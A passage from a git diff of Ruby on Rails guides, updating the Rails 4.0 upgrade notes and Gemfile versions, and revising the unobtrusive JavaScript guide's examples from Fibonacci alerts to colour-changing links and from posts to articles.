using `match` must specify the request method. For example: + +```ruby + # Rails 3.x + match '/' => 'root#index' + + # becomes + match '/' => 'root#index', via: :get + + # or + get '/' => 'root#index' +``` + +* Rails 4.0 has removed `ActionDispatch::BestStandardsSupport` middleware, `<!DOCTYPE html>` already triggers standards mode per http://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx and ChromeFrame header has been moved to `config.action_dispatch.default_headers`. + +Remember you must also remove any references to the middleware from your application code, for example: + +```ruby +# Raise exception +config.middleware.insert_before(Rack::Lock, ActionDispatch::BestStandardsSupport) +``` + +Also check your environment settings for `config.action_dispatch.best_standards_support` and remove it if present. + +* In Rails 4.0, precompiling assets no longer automatically copies non-JS/CSS assets from `vendor/assets` and `lib/assets`. Rails application and engine developers should put these assets in `app/assets` or configure `config.assets.precompile`. + +* In Rails 4.0, `ActionController::UnknownFormat` is raised when the action doesn't handle the request format. By default, the exception is handled by responding with 406 Not Acceptable, but you can override that now. In Rails 3, 406 Not Acceptable was always returned. No overrides. + +* In Rails 4.0, a generic `ActionDispatch::ParamsParser::ParseError` exception is raised when `ParamsParser` fails to parse request params. You will want to rescue this exception instead of the low-level `MultiJson::DecodeError`, for example. + +* In Rails 4.0, `SCRIPT_NAME` is properly nested when engines are mounted on an app that's served from a URL prefix. You no longer have to set `default_url_options[:script_name]` to work around overwritten URL prefixes. + +* Rails 4.0 deprecated `ActionController::Integration` in favor of `ActionDispatch::Integration`. +* Rails 4.0 deprecated `ActionController::IntegrationTest` in favor of `ActionDispatch::IntegrationTest`. +* Rails 4.0 deprecated `ActionController::PerformanceTest` in favor of `ActionDispatch::PerformanceTest`. +* Rails 4.0 deprecated `ActionController::AbstractRequest` in favor of `ActionDispatch::Request`. +* Rails 4.0 deprecated `ActionController::Request` in favor of `ActionDispatch::Request`. +* Rails 4.0 deprecated `ActionController::AbstractResponse` in favor of `ActionDispatch::Response`. +* Rails 4.0 deprecated `ActionController::Response` in favor of `ActionDispatch::Response`. +* Rails 4.0 deprecated `ActionController::Routing` in favor of `ActionDispatch::Routing`. + ### Active Support Rails 4.0 removes the `j` alias for `ERB::Util#json_escape` since `j` is already used for `ActionView::Helpers::JavaScriptHelper#escape_javascript`. @@ -90,23 +960,42 @@ Rails 4.0 removes the `j` alias for `ERB::Util#json_escape` since `j` is already The order in which helpers from more than one directory are loaded has changed in Rails 4.0. Previously, they were gathered and then sorted alphabetically. After upgrading to Rails 4.0, helpers will preserve the order of loaded directories and will be sorted alphabetically only within each directory. Unless you explicitly use the `helpers_path` parameter, this change will only impact the way of loading helpers from engines. If you rely on the ordering, you should check if correct methods are available after upgrade. If you would like to change the order in which engines are loaded, you can use `config.railties_order=` method. +### Active Record Observer and Action Controller Sweeper + +`ActiveRecord::Observer` and `ActionController::Caching::Sweeper` have been extracted to the `rails-observers` gem. You will need to add the `rails-observers` gem if you require these features. + +### sprockets-rails + +* `assets:precompile:primary` and `assets:precompile:all` have been removed. Use `assets:precompile` instead. +* The `config.assets.compress` option should be changed to `config.assets.js_compressor` like so for instance: + +```ruby +config.assets.js_compressor = :uglifier +``` + +### sass-rails + +* `asset-url` with two arguments is deprecated. For example: `asset-url("rails.png", image)` becomes `asset-url("rails.png")`. + Upgrading from Rails 3.1 to Rails 3.2 ------------------------------------- -If your application is currently on any version of Rails older than 3.1.x, you should upgrade to Rails 3.1 before attempting an update to Rails 3.2. +If your application is currently on any version of Rails older than 3.1.x, you +should upgrade to Rails 3.1 before attempting an update to Rails 3.2. -The following changes are meant for upgrading your application to Rails 3.2.2, the latest 3.2.x version of Rails. +The following changes are meant for upgrading your application to the latest +3.2.x version of Rails. ### Gemfile Make the following changes to your `Gemfile`. ```ruby -gem 'rails', '= 3.2.2' +gem 'rails', '3.2.21' group :assets do - gem 'sass-rails', '~> 3.2.3' - gem 'coffee-rails', '~> 3.2.1' + gem 'sass-rails', '~> 3.2.6' + gem 'coffee-rails', '~> 3.2.2' gem 'uglifier', '>= 1.0.3' end ``` @@ -137,26 +1026,30 @@ config.active_record.mass_assignment_sanitizer = :strict Rails 3.2 deprecates `vendor/plugins` and Rails 4.0 will remove them completely. While it's not strictly necessary as part of a Rails 3.2 upgrade, you can start replacing any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`. +### Active Record + +Option `:dependent => :restrict` has been removed from `belongs_to`. If you want to prevent deleting the object if there are any associated objects, you can set `:dependent => :destroy` and return `false` after checking for existence of association from any of the associated object's destroy callbacks. + Upgrading from Rails 3.0 to Rails 3.1 ------------------------------------- If your application is currently on any version of Rails older than 3.0.x, you should upgrade to Rails 3.0 before attempting an update to Rails 3.1. -The following changes are meant for upgrading your application to Rails 3.1.3, the latest 3.1.x version of Rails. +The following changes are meant for upgrading your application to Rails 3.1.12, the last 3.1.x version of Rails. ### Gemfile Make the following changes to your `Gemfile`. ```ruby -gem 'rails', '= 3.1.3' +gem 'rails', '3.1.12' gem 'mysql2' # Needed for the new asset pipeline group :assets do - gem 'sass-rails', "~> 3.1.5" - gem 'coffee-rails', "~> 3.1.1" - gem 'uglifier', ">= 1.0.3" + gem 'sass-rails', '~> 3.1.7' + gem 'coffee-rails', '~> 3.1.1' + gem 'uglifier', '>= 1.0.3' end # jQuery is the default JavaScript library in Rails 3.1 @@ -223,8 +1116,8 @@ You can help test performance with these additions to your test environment: ```ruby # Configure static asset server for tests with Cache-Control for performance -config.serve_static_assets = true -config.static_cache_control = "public, max-age=3600" +config.serve_static_files = true +config.static_cache_control = 'public, max-age=3600' ``` ### config/initializers/wrap_parameters.rb @@ -259,7 +1152,7 @@ AppName::Application.config.session_store :cookie_store, key: 'SOMETHINGNEW' or ```bash -$ rake db:sessions:clear +$ bin/rake db:sessions:clear ``` ### Remove :cache and :concat options in asset helpers references in views diff --git a/guides/source/working_with_javascript_in_rails.md b/guides/source/working_with_javascript_in_rails.md index 869490fc90..5131f809d7 100644 --- a/guides/source/working_with_javascript_in_rails.md +++ b/guides/source/working_with_javascript_in_rails.md @@ -1,3 +1,5 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + Working with JavaScript in Rails ================================ @@ -51,7 +53,7 @@ with an id of `results`. Rails provides quite a bit of built-in support for building web pages with this technique. You rarely have to write this code yourself. The rest of this guide -will show you how Rails can help you write web sites in this manner, but it's +will show you how Rails can help you write websites in this way, but it's all built on top of this fairly simple technique. Unobtrusive JavaScript @@ -66,37 +68,38 @@ Here's the simplest way to write JavaScript. You may see it referred to as 'inline JavaScript': ```html -<a href="#" onclick="alert('Hello, world.')">Here</a> +<a href="#" onclick="this.style.backgroundColor='#990000'">Paint it red</a> ``` - -When clicked, the alert will trigger. Here's the problem: what happens when -we have lots of JavaScript we want to execute on a click? +When clicked, the link background will become red. Here's the problem: what +happens when we have lots of JavaScript we want to execute on a click? ```html -<a href="#" onclick="function fib(n){return n<2?n:fib(n-1)+fib(n-2);};alert('fib of 15 is: ' + fib(15) + '.');">Calculate</a> +<a href="#" onclick="this.style.backgroundColor='#009900';this.style.color='#FFFFFF';">Paint it green</a> ``` Awkward, right? We could pull the function definition out of the click handler, and turn it into CoffeeScript: ```coffeescript -fib = (n) -> - (if n < 2 then n else fib(n - 1) + fib(n - 2)) +paintIt = (element, backgroundColor, textColor) -> + element.style.backgroundColor = backgroundColor + if textColor? + element.style.color = textColor ``` And then on our page: ```html -<a href="#" onclick="alert('fib of 15 is: ' + fib(15) + '.');">Calculate</a> +<a href="#" onclick="paintIt(this, '#990000')">Paint it red</a> ``` That's a little bit better, but what about multiple links that have the same effect? ```html -<a href="#" onclick="alert('fib of 16 is: ' + fib(16) + '.');">Calculate</a> -<a href="#" onclick="alert('fib of 17 is: ' + fib(17) + '.');">Calculate</a> -<a href="#" onclick="alert('fib of 18 is: ' + fib(18) + '.');">Calculate</a> +<a href="#" onclick="paintIt(this, '#990000')">Paint it red</a> +<a href="#" onclick="paintIt(this, '#009900', '#FFFFFF')">Paint it green</a> +<a href="#" onclick="paintIt(this, '#000099', '#FFFFFF')">Paint it blue</a> ``` Not very DRY, eh? We can fix this by using events instead. We'll add a `data-*` @@ -104,19 +107,23 @@ attribute to our link, and then bind a handler to the click event of every link that has that attribute: ```coffeescript -fib = (n) -> - (if n < 2 then n else fib(n - 1) + fib(n - 2)) - -$(document).ready -> - $("a[data-fib]").click (e) -> - count = $(this).data("fib") - alert "fib of #{count} is: #{fib(count)}." - -... later ... - -<a href="#" data-fib="15">Calculate</a> -<a href="#" data-fib="16">Calculate</a> -<a href="#" data-fib="17">Calculate</a> +paintIt = (element, backgroundColor, textColor) -> + element.style.backgroundColor = backgroundColor + if textColor? + element.style.color = textColor + +$ -> + $("a[data-background-color]").click (e) -> + e.preventDefault() + + backgroundColor = $(this).data("background-color") + textColor = $(this).data("text-color") + paintIt(this, backgroundColor, textColor) +``` +```html +<a href="#" data-background-color="#990000">Paint it red</a> +<a href="#" data-background-color="#009900" data-text-color="#FFFFFF">Paint it green</a> +<a href="#" data-background-color="#000099" data-text-color="#FFFFFF">Paint it blue</a> ``` We call this 'unobtrusive' JavaScript because we're no longer mixing our @@ -153,7 +160,7 @@ is a helper that assists with writing forms. `form_for` takes a `:remote` option. It works like this: ```erb -<%= form_for(@post, remote: true) do |f| %> +<%= form_for(@article, remote: true) do |f| %> ... <% end %> ``` @@ -161,12 +168,12 @@ option. It works like this: This will generate the following HTML: ```html -<form accept-charset="UTF-8" action="/posts" class="new_post" data-remote="true" id="new_post" method="post"> +<form accept-charset="UTF-8" action="/articles" class="new_article" data-remote="true" id="new_article" method="post"> ... </form> ``` -Note the `data-remote='true'`. Now, the form will be submitted by Ajax rather +Note the `data-remote="true"`. Now, the form will be submitted by Ajax rather than by the browser's normal submit mechanism. You probably don't want to just sit there with a filled out `<form>`, though. @@ -175,14 +182,14 @@ bind to the `ajax:success` event. On failure, use `ajax:error`. Check it out: ```coffeescript $(document).ready -> - $("#new_post").on("ajax:success", (e, data, status, xhr) -> - $("#new_post").append xhr.responseText - ).bind "ajax:error", (e, xhr, status, error) -> - $("#new_post").append "<p>ERROR</p>" + $("#new_article").on("ajax:success", (e, data, status, xhr) -> + $("#new_article").append xhr.responseText + ).on "ajax:error", (e, xhr, status, error) -> + $("#new_article").append "<p>ERROR</p>" ``` Obviously, you'll want to be a bit more sophisticated than that, but it's a -start. +start. You can see more about the events [in the jquery-ujs wiki](https://github.com/rails/jquery-ujs/wiki/ajax). ### form_tag @@ -191,7 +198,17 @@ is very similar to `form_for`. It has a `:remote` option that you can use like this: ```erb -<%= form_tag('/posts', remote: true) %> +<%= form_tag('/articles', remote: true) do %> + ... +<% end %> +``` + +This will generate the following HTML: + +```html +<form accept-charset="UTF-8" action="/articles" data-remote="true" method="post"> + ... +</form> ``` Everything else is the same as `form_for`. See its documentation for full @@ -204,30 +221,29 @@ is a helper that assists with generating links. It has a `:remote` option you can use like this: ```erb -<%= link_to "a post", @post, remote: true %> +<%= link_to "an article", @article, remote: true %> ``` which generates ```html -<a href="/posts/1" data-remote="true">a post</a> +<a href="/articles/1" data-remote="true">an article</a> ``` You can bind to the same Ajax events as `form_for`. Here's an example. Let's -assume that we have a resource `/fib/:n` that calculates the `n`th Fibonacci -number. We would generate some HTML like this: +assume that we have a list of articles that can be deleted with just one +click. We would generate some HTML like this: ```erb -<%= link_to "Calculate", "/fib/15", remote: true, data: { fib: 15 } %> +<%= link_to "Delete article", @article, remote: true, method: :delete %> ``` and write some CoffeeScript like this: ```coffeescript -$(document).ready -> - $("a[data-fib]").on "ajax:success", (e, data, status, xhr) -> - count = $(this).data("fib") - alert "fib of #{count} is: #{data}." +$ -> + $("a[data-remote]").on "ajax:success", (e, data, status, xhr) -> + alert "The article was deleted." ``` ### button_to @@ -235,14 +251,14 @@ $(document).ready -> [`button_to`](http://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-button_to) is a helper that helps you create buttons. It has a `:remote` option that you can call like this: ```erb -<%= button_to "A post", @post, remote: true %> +<%= button_to "An article", @article, remote: true %> ``` this generates ```html -<form action="/posts/1" class="button_to" data-remote="true" method="post"> - <div><input type="submit" value="A post"></div> +<form action="/articles/1" class="button_to" data-remote="true" method="post"> + <div><input type="submit" value="An article"></div> </form> ``` @@ -276,9 +292,7 @@ The index view (`app/views/users/index.html.erb`) contains: <b>Users</b> <ul id="users"> -<% @users.each do |user| %> - <%= render user %> -<% end %> +<%= render @users %> </ul> <br> @@ -299,10 +313,10 @@ The `app/views/users/_user.html.erb` partial contains the following: The top portion of the index page displays the users. The bottom portion provides a form to create a new user. -The bottom form will call the create action on the Users controller. Because +The bottom form will call the `create` action on the `UsersController`. Because the form's remote option is set to true, the request will be posted to the -users controller as an Ajax request, looking for JavaScript. In order to -service that request, the create action of your controller would look like +`UsersController` as an Ajax request, looking for JavaScript. In order to +serve that request, the `create` action of your controller would look like this: ```ruby @@ -392,3 +406,4 @@ Here are some helpful links to help you learn even more: * [jquery-ujs list of external articles](https://github.com/rails/jquery-ujs/wiki/External-articles) * [Rails 3 Remote Links and Forms: A Definitive Guide](http://www.alfajango.com/blog/rails-3-remote-links-and-forms/) * [Railscasts: Unobtrusive JavaScript](http://railscasts.com/episodes/205-unobtrusive-javascript) +* [Railscasts: Turbolinks](http://railscasts.com/episodes/390-turbolinks) |